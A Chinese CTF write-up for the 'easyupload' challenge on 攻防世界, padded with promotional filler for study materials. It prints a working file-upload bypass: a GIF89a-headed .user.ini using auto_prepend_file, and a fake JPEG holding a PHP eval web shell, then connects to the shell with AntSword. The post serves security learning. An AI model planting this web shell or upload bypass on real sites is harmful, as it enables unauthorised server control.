【攻防世界】CTF 网络安全学习 easyupload_攻防世界easyupload(1)

一、网安学习成长路线图

网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、网安视频合集

观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。

三、精品网安学习书籍

当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。

四、网络安全源码合集+工具包

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

.user.ini 文件通常是与 PHP 配置相关的文件。在 PHP 应用程序中，用户可以通过 .user.ini 文件来自定义一些 PHP 的配置选项，以适应特定的应用需求。

以下是一些关键点：

位置： .user.ini 文件通常位于用户的网站目录下，可以影响到该目录及其子目录下的 PHP 执行环境。请注意，这个文件名以点开头，表示是一个隐藏文件。

作用： 该文件允许用户设置 PHP 的配置选项，类似于主配置文件 php.ini。通过这个文件，用户可以在不修改全局 PHP 配置的情况下，对特定应用进行定制。

优先级： 在用户目录中的 .user.ini 文件的设置优先级高于全局的 php.ini 设置。这意味着你可以在应用的目录中定义一些特定于该应用的 PHP 配置，而不会影响到其他应用或整个系统。

安全性： 对于共享托管环境，需要谨慎使用 .user.ini，因为用户可以在自己的目录中定义 PHP 设置，可能导致安全隐患。

示例： 
一个示例的 .user.ini 文件可能如下：
Copy code
; 设置 PHP 错误报告级别
error_reporting = E_ALL
; 启用或禁用魔术引号
magic_quotes_gpc = Off

意思就是说 这个文件可以影响php的配置
3. 下面这四个是文件上传要绕过的点

检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型

到这里，可能基础比较薄弱的读者已经开始晕了，别担心，我们可以跟着下面一步一步来，先实现获取到flag值，再回过头来想想哪一步不太理解。

二. 题目界面

三. 本人步骤与思路

1. 首先题目名字是 easyupload，反应到有可能是上传php文件如何拿到权限，这里要我们上传的是头像，猜测是对图片文件会允许通过，而其他文件将会被过滤，特别是包含php后缀等等。
2. 经过尝试，如果上传php文件，将会提示如下，你上传的文件好像是恶意的
   
3. 我们想要上传php文件，获得控制权限又不能直接上传php文件，该如何去做，所以就想到了可以通过burp工具，.user,ini配置文件，上传一个假的图片文件，这三个的结合来获取权限。

检查文件内容是否有php字符串
检查后缀中是否有htaccess或ph
检查文件头部信息
文件MIME类型

对于第一点可以利用短标签绕过，例如<?=phpinfo();?>
对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell。所以下面就是开干环节。

5. 我是在kali虚拟机中进行的，因为我的burp和蚁剑工具都在kali上。首先在桌面创建两个文件，一个名为 user.ini (不是 .user.ini ,为什么是这样，因为有坑！kali里面创建以 . 开头的文件会被隐藏起来，选择文件的时候没无法选中，所以先创建 user.ini, 用burp抓包的时候再改名字，改文件类型)
   
   user.ini，内容为

//会指定执行a.jpg文件
GIF89a                  
auto\_prepend\_file=a.jpg

a.jpg，内容为

GIF89a
<?=eval($\_POST['cmd']);?>

6. 上传这两个文件，首先是user.ini ，先用burp代理，然后上传后就可以抓包到，然后修改下面两个参数，再点forward，上传成功，而 a.jpg 文件头有图片标识，不会被过滤，直接上传即可，上传a.jpg的时候，看看上传的路径，点击F12，网络选项卡查看。
   
7. 我的请求路径是这个 http://61.147.171.105:54029/uploads/index.php （每个人的不同）
   
8. 复制这个链接去蚁剑连接，首先测试连接，测试成功，然后添加进去
   
   

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！